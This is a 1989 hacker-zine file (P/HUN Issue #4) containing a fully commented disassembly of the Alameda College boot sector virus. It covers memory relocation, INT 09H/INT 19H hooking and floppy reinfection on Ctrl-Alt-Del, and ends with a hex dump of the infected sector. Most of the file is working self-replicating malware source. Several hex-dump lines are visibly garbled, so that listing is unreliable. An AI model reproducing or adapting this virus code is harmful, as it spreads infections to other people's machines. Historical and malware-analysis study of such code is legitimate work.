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Assembly Source File | 1998-01-14 | 20.3 KB | 431 lines

P/HUN Issue #4, Volume 2: Phile 3 of 11 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ A BOOT SECTOR VIRUS 5/15/89 The following is a disassembled and commented version of the Alemeda College Boot infector virus. Courtesy of Southern Cross. ;-----------------------------------------------------------------------; ; This virus is of the "FLOPPY ONLY" variety. ; ; It replicates to the boot sector of a floppy disk and when it gains control ; it will move itself to upper memory. It redirects the keyboard ; ; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time ; ; it will attempt to infect any floppy it finds in drive A:. ; ; It keeps the real boot sector at track 39, sector 8, head 0 ; ; It does not map this sector bad in the fat (unlike the Pakistani Brain) ; and should that area be used by a file, the virus ; ; will die. It also contains no anti detection mechanisms as does the ; ; BRAIN virus. It apparently uses head 0, sector 8 and not head 1 ; ; sector 9 because this is common to all floppy formats both single ; ; sided and double sided. It does not contain any malevolent TROJAN ; ; HORSE code. It does appear to contain a count of how many times it ; ; has infected other diskettes although this is harmless and the count ; ; is never accessed. ; ; ; ; Things to note about this virus: ; ; It can not only live through an ALT-CTRL-DEL reboot command, but this ; ; is its primary (only for that matter) means of reproduction to other ; ; floppy diskettes. The only way to remove it from an infected system ; ; is to turn the machine off and reboot an uninfected copy of DOS. ; ; It is even resident when no floppy is booted but BASIC is loaded ; ; instead. Then when ALT-CTRL-DEL is pressed from inside of BASIC, ; ; it activates and infectes the floppy from which the user is ; ; attempting to boot. ; ; ; ; Also note that because of the POP CS command to pass control to ; ; its self in upper memory, this virus does not to work on 80286 ; ; machines (because this is not a valid 80286 instruction). ; ; ; ; The Norton Utilities can be used to identify infected diskettes by ; ; looking at the boot sector and the DOS SYS utility can be used to ; ; remove it (unlike the Pakistani Brain). ; ;-----------------------------------------------------------------------; ; ORG 7C00H ; ; TOS LABEL WORD ;TOP OF STACK ;-----------------------------------------------------------------------; ; 1. Find top of memory and copy ourself up there. (keeping same offset); ; 2. Save a copy of the first 32 interrupt vectors to top of memory too ; ; 3. Redirect int 9 (keyboard) to ourself in top of memory ; ; 4. Jump to ourself at top of memory ; ; 5. Load and execute REAL boot sector from track 40, head 0, sector 8 ; ;-----------------------------------------------------------------------; BEGIN: CLI ;INITIALIZE STACK XOR AX,AX ; MOV SS,AX ; MOV SP,offset TOS ; STI ; ; MOV BX,0040H ;ES = TOP OF MEMORY - (7C00H+512) MOV DS,BX ; MOV AX,[0013H] ; MUL BX ; SUB AX,07E0H ; (7C00H+512)/16 MOV ES,AX ; ; PUSH CS ;DS = CS POP DS ; ; CMP DI,3456H ;IF THE VIRUS IS REBOOTING... JNE B_10 ; DEC Word Ptr [COUNTER_1] ;...LOW&HI:COUNTER_1-- ; B_10: MOV SI,SP ;SP=7C00 ;COPY SELF TO TOP OF MEMORY MOV DI,SI ; MOV CX,512 ; CLD ; REP MOVSB ; ; MOV SI,CX ;CX=0 ;SAVE FIRST 32 INT VETOR ADDRESSES TO MOV DI,offset BEGIN - 128 ; 128 BYTES BELOW OUR HI CODE MOV CX,128 ; REP MOVSB ; ; CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) ; PUSH ES ;ES=HI ;JUMP TO OUR HI CODE WITH POP CS ; CS = ES ; PUSH DS ;DS=0 ;ES = DS POP ES ; ; MOV BX,SP ;SP=7C00 ;LOAD REAL BOOT SECTOR TO 0000:7C00 MOV DX,CX ;CX=0 ; DRIVE A: HEAD 0 MOV CX,2708H ; TRACK 40, SECTOR 8 MOV AX,0201H ; READ SECTOR INT 13H ; (common to 8/9 sect. 1/2 sided!) JB $ ; HANG IF ERROR ; JMP JMP_BOOT ;JMP 0000:7C00 ; ;-----------------------------------------------------------------------; ; SAVE THEN REDIRECT INT 9 VECTOR ; ; ; ; ON ENTRY: DS = 0 ; ; ES = WHERE TO SAVE OLD_09 & (HI) ; ; WHERE NEW_09 IS (HI) ; ;-----------------------------------------------------------------------; PUT_NEW_09: ; DEC Word Ptr [0413H] ;TOP OF MEMORY (0040:0013) -= 1024 ; MOV SI,9*4 ;COPY INT 9 VECTOR TO MOV DI,offset OLD_09 ; OLD_09 (IN OUR HI CODE!) MOV CX,0004 ; ; CLI ; REP MOVSB ; MOV Word Ptr [9*4],offset NEW_09 MOV [(9*4)+2],ES ; STI ; ; RET ; ; ;-----------------------------------------------------------------------; ; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR ; ;-----------------------------------------------------------------------; ACK_KEYBD: ; IN AL,61H ;RESET KEYBOARD THEN CONTINUE MOV AH,AL ; OR AL,80H ; OUT 61H,AL ; XCHG AL,AH ; OUT 61H,AL ; JMP RBOOT ; ; ;-----------------------------------------------------------------------; ; DATA AREA WHICH IS NOT USED IN THIS VERSION ; ; REASON UNKNOWN ; ;-----------------------------------------------------------------------; TABLE DB 27H,0,1,2 ;FORMAT INFORMATION FOR TRACK 39 DB 27H,0,2,2 ; (CURRENTLY NOT USED) DB 27H,0,3,2 ; DB 27H,0,4,2 ; DB 27H,0,5,2 ; DB 27H,0,6,2 ; DB 27H,0,7,2 ; DB 27H,0,8,2 ; ; ;A7C9A LABEL BYTE ; DW 00024H ;NOT USED DB 0ADH ; DB 07CH ; DB 0A3H ; DW 00026H ; ; ;L7CA1: ; POP CX ;NOT USED POP DI ; POP SI ; POP ES ; POP DS ; POP AX ; POPF ; JMP 1111:1111 ; ; ;-----------------------------------------------------------------------; ; IF ALT & CTRL & DEL THEN ... ; ; IF ALT & CTRL & ? THEN ... ; ;-----------------------------------------------------------------------; NEW_09: PUSHF ; STI ; ; PUSH AX ; PUSH BX ; PUSH DS ; ; PUSH CS ;DS=CS POP DS ; ; MOV BX,[ALT_CTRL] ;BX=SCAN CODE LAST TIME IN AL,60H ;GET SCAN CODE MOV AH,AL ;SAVE IN AH AND AX,887FH ;STRIP 8th BIT IN AL, KEEP 8th BIT AH ; CMP AL,1DH ;IS IT A [CTRL]... JNE N09_10 ;...JUMP IF NO MOV BL,AH ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP) JMP N09_30 ; ; N09_10: CMP AL,38H ;IS IT AN [ALT]... JNE N09_20 ;...JUMP IF NO MOV BH,AH ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP) JMP N09_30 ; ; N09_20: CMP BX,0808H ;IF (CTRL DOWN & ALT DOWN)... JNE N09_30 ;...JUMP IF NO ; CMP AL,17H ;IF [I]... JE N09_X0 ;...JUMP IF YES CMP AL,53H ;IF [DEL]... JE ACK_KEYBD ;...JUMP IF YES ; N09_30: MOV [ALT_CTRL],BX ;SAVE SCAN CODE FOR NEXT TIME ; N09_90: POP DS ; POP BX ; POP AX ; POPF ; ; DB 0EAH ;JMP F000:E987 OLD_09 DW ? ; DW 0F000H ; ; N09_X0: JMP N09_X1 ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; RBOOT: MOV DX,03D8H ;DISABLE COLOR VIDEO !?!? MOV AX,0800H ;AL=0, AH=DELAY ARG OUT DX,AL ; CALL DELAY ; MOV [ALT_CTRL],AX ;AX=0 ; ; MOV AL,3 ;AH=0 ;SELECT 80x25 COLOR INT 10H ; MOV AH,2 ;SET CURSOR POS 0,0 XOR DX,DX ; MOV BH,DH ; PAGE 0 INT 10H ; ; MOV AH,1 ;SET CURSOR TYPE MOV CX,0607H ; INT 10H ; ; MOV AX,0420H ;DELAY (AL=20H FOR EOI BELOW) CALL DELAY ; ; CLI ; OUT 20H,AL ;SEND EOI TO INT CONTROLLER ; MOV ES,CX ;CX=0 (DELAY) ;RESTORE FIRST 32 INT VECTORS MOV DI,CX ; (REMOVING OUR INT 09 HANDLER!) MOV SI,offset BEGIN - 128 ; MOV CX,128 ; CLD ; REP MOVSB ; ; MOV DS,CX ;CX=0 ;DS=0 ; MOV Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR MOV [(19H*4)+2],CS ; ; MOV AX,0040H ;DS = ROM DATA AREA MOV DS,AX ; ; MOV [0017H],AH ;AH=0 ;KBFLAG (SHIFT STATES) = 0 INC Word Ptr [0013H] ;MEMORY SIZE += 1024 (WERE NOT ACTIVE) ; PUSH DS ;IF BIOS F000:E502 == 21E4... MOV AX,0F000H ; MOV DS,AX ; CMP Word Ptr [0E502H],21E4H ; POP DS ; JE R_90 ; INT 19H ; IF NOT...REBOOT ; R_90: JMP 0F000:0E502H ;...DO IT ?!?!?! ; ;-----------------------------------------------------------------------; ; REBOOT INT VECTOR ; ;-----------------------------------------------------------------------; NEW_19: XOR AX,AX ; ; MOV DS,AX ;DS=0 MOV AX,[0410] ;AX=EQUIP FLAG TEST AL,1 ;IF FLOPPY DRIVES ... JNZ N19_20 ;...JUMP N19_10: PUSH CS ;ELSE ES=CS POP ES ; CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) INT 18H ;LOAD BASIC ; N19_20: MOV CX,0004 ;RETRY COUNT = 4 ; N19_22: PUSH CX ; MOV AH,00 ;RESET DISK INT 13 ; JB N19_81 ; MOV AX,0201 ;READ BOOT SECTOR PUSH DS ; POP ES ; MOV BX,offset BEGIN ; MOV CX,1 ;TRACK 0, SECTOR 1 INT 13H ; N19_81: POP CX ; JNB N19_90 ; LOOP N19_22 ; JMP N19_10 ;IF RETRY EXPIRED...LOAD BASIC ; ;-----------------------------------------------------------------------; ; Reinfection segment. ; ;-----------------------------------------------------------------------; N19_90: CMP DI,3456 ;IF NOT FLAG SET... JNZ RE_INFECT ;...RE INFECT ; JMP_BOOT: ;PASS CONTROL TO BOOT SECTOR JMP 0000:7C00H ; ; ;-----------------------------------------------------------------------; ; Reinfection Segment. ; ;-----------------------------------------------------------------------; RE_INFECT: ; MOV SI,offset BEGIN ;COMPARE BOOT SECTOR JUST LOADED WITH MOV CX,00E6H ; OURSELF MOV DI,SI ; PUSH CS ; POP ES ; CLD ; REPE CMPSB ; JE RI_12 ;IF NOT EQUAL... ; INC Word Ptr ES:[COUNTER_1] ;INC. COUNTER IN OUR CODE (NOT DS!) ; ;MAKE SURE TRACK 39, HEAD 0 FORMATTED ; MOV BX,offset TABLE ;FORMAT INFO MOV DX,0000 ;DRIVE A: HEAD 0 MOV CH,40-1 ;TRACK 39 MOV AH,5 ;FORMAT JMP RI_10 ;REMOVE THE FORMAT OPTION FOR NOW ! ; ; <<< NO EXECUTION PATH TO HERE >>> ; JB RI_80 ; ; ;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0 RI_10: MOV ES,DX ;ES:BX = 0000:7C00, HEAD=0 MOV BX,offset BEGIN ;TRACK 40H MOV CL,8 ;SECTOR 8 MOV AX,0301H ;WRITE 1 SECTOR INT 13H ; ; PUSH CS ; (ES=CS FOR PUT_NEW_09 BELOW) POP ES ; JB RI_80 ;IF WRITE ERROR...JUMP TO BOOT CODE ; MOV CX,0001 ;WRITE INFECTED BOOT SECTOR ! MOV AX,0301 ; INT 13H ; JB RI_80 ; IF ERROR...JUMP TO BOOT CODE ; RI_12: MOV DI,3456H ;SET "JUST INFECTED ANOTHER ONE"... INT 19H ;...FLAG AND REBOOT ; RI_80: CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) DEC Word Ptr ES:[COUNTER_1] ; (DEC. CAUSE DIDNT INFECT) JMP JMP_BOOT ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; N09_X1: MOV [ALT_CTRL],BX ;SAVE ALT & CTRL STATUS ; MOV AX,[COUNTER_1] ;PUT COUNTER_1 INTO RESET FLAG MOV BX,0040H ; MOV DS,BX ; MOV [0072H],AX ; 0040:0072 = RESET FLAG JMP N09_90 ; ; ;-----------------------------------------------------------------------; ; DELAY ; ; ; ; ON ENTRY AH:CX = LOOP COUNT ; ;-----------------------------------------------------------------------; DELAY: SUB CX,CX ; D_01: LOOP $ ; SUB AH,1 ; JNZ D_01 ; RET ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; A7DF4 DB 27H,00H,8,2 COUNTER_1 DW 001CH ALT_CTRL DW 0 A7DFC DB 27H,0,8,2 END ;-----------------------------------------------------------------------; ; Hexadecimal representation. ; ;-----------------------------------------------------------------------; ;7C00 FA 31 C0 8E D0 BC 00 7C-FB BB 40 00 8E DB A1 13 z1@.P<.|{;@..[!. ;7C10 00 F7 E3 2D E0 07 8E C0-0E 1F 81 FF 56 34 75 04 .wc-`..@....V4u. ;7C20 FF 0E F8 7D 89 E6 89 F7-B9 00 02 FC F3 A4 89 CE ..x}.f.w9..|s$.N ;7C30 BF 80 7B B9 80 00 F3 A4-E8 15 00 06 0F 1E 07 89 ?.{9..s$h....... ;7C40 E3 89 CA B9 08 27 B8 01-02 CD 13 72 FE E9 38 01 c.J9.'8..M.r~i8. ;7C50 FF 0E 13 04 BE 24 00 BF-E6 7C B9 04 00 FA F3 A4 ....>$.?f|9..zs$ ;7C60 C7 06 24 00 AD 7C 8C 06-26 00 FB C3 E4 61 88 C4 G.$.-|..&.{Cda.D ;7C70 0C 80 E6 61 86 C4 E6 61-EB 73 27 00 01 02 27 00 ..fa.Dfaks'...'. ;7C80 02 02 27 00 03 02 27 00-04 02 27 00 05 02 27 00 ..'...'...'...'. ;7C90 06 02 27 00 07 02 27 00-08 02 24 00 AD 7C A3 26 ..'...'.$.-|#& ;7CA0 09 5F 5E 07 1F 58 9D-EA 11 11 1 FB .Y_^..X.j.....{P ;7CB0 53 1E 0E 1F 8B 1E FA 7D-E4 60 88 C4 25 7F 88 S.....z}d`.D%..< ;7CC0 1D 75 04 88 E3 EB 16 3C-38 75 04 88 E7 EB 0E .u..ck.<8u..gk.. ;7CD0 FB 08 08 75 08 3C 17 74-11 3C 53 74 8F 89 1E {..u.<.t.<St...z ;7CE0 7D 1F 5B 58 9D EA 87 E9-00 F0 E9 EB 00 BA D8 03 }.[X.j.i.pik.:X. ;7CF0 B8 00 08 EE E8 F3 00 A3-FA 7D B0 03 CD 10 B4 02 ..nhs.#z}0.M.4. ;7D00 31 D2 88 F7 CD 10 B4 01-B9 07 06 CD 108 20 04 1R..4.9..M.8 . ;7D10 E8 D7 00 FA E6 20 8E C1-89 CF BE 80 7B B9 80 00 hW.zfA.O>.{9.. ;7D20 FC F3 A4 8E D9 C7 06 64-00 52 7D 8C 0E 66 00 B8 |s$.YG.R}..f.8 ;7D30 40 00 8E D8 88 26 17 00-FF 06 13 00 1E B8 00 F0 @..X.&.....8.p ;7D4 8E D8 81 3E 02 E5 E4 21-1F 74 02 CD 19 EA 02 E5 .X.>.ed!.t.M.e ;7D50 00 F0 31 C0 8E D8 A1 10-04 A8 01 75 07 0E 07 E8 .p1@.X!..(.u.. ;7D60 EE FE CD 18 B9 04 00 51-B4 00 CD 13 72 0D B8 01 n~M.9..Q4.M.r.8 ;7D70 02 1E 07 BB 00 7C B9 01-00 C3 59 73 04 E2 E7 ...;.|9..M.Ys.bg ;780 EB DB 81 FF 56 34 75 05-EA 00 7C 00 00 BE 00 7C k[..V4u|..>.| ;7D90 B9 E6 00 89 F7 0E 07 FC-F3 A6 74 2D 26 FF 06 F8 9f..w..|t-&..x ;7DA0 7D BB 7A 7C BA 00 00 B5-27 B4 05 EB 02 72 1F 8E };z|:..5.k.r.. ;7DB0 C2 BB 00 7C B1 08 B8 01-03 CD 13 0E 07 72 0F B9 B;.|1.8....r.9 ;7DC0 01 00 B8 01 03 CD 13 72-05 BF 56 34 CD 19 E8 7F ..8..M.rV4M.h. ;7DD0 FE 26 FF 0E F8 7D EB B0-89 1E FA 7D A1 F8 7D BB ~&..x}k0}!x}; ;7DE0 40 00 8E DB A3 72 0E9-F7 FE 29 C9 E2 FE 80 EC @..[#r.iwIb~.l ;7DF0 01 75 F9 C3 27 00 08 02-1C 00 00 00 27 00 08 02 .uyC'.....'... ;---------------------------------------------------------------------; End of commented code for the Alameda College Boot Infector Virus.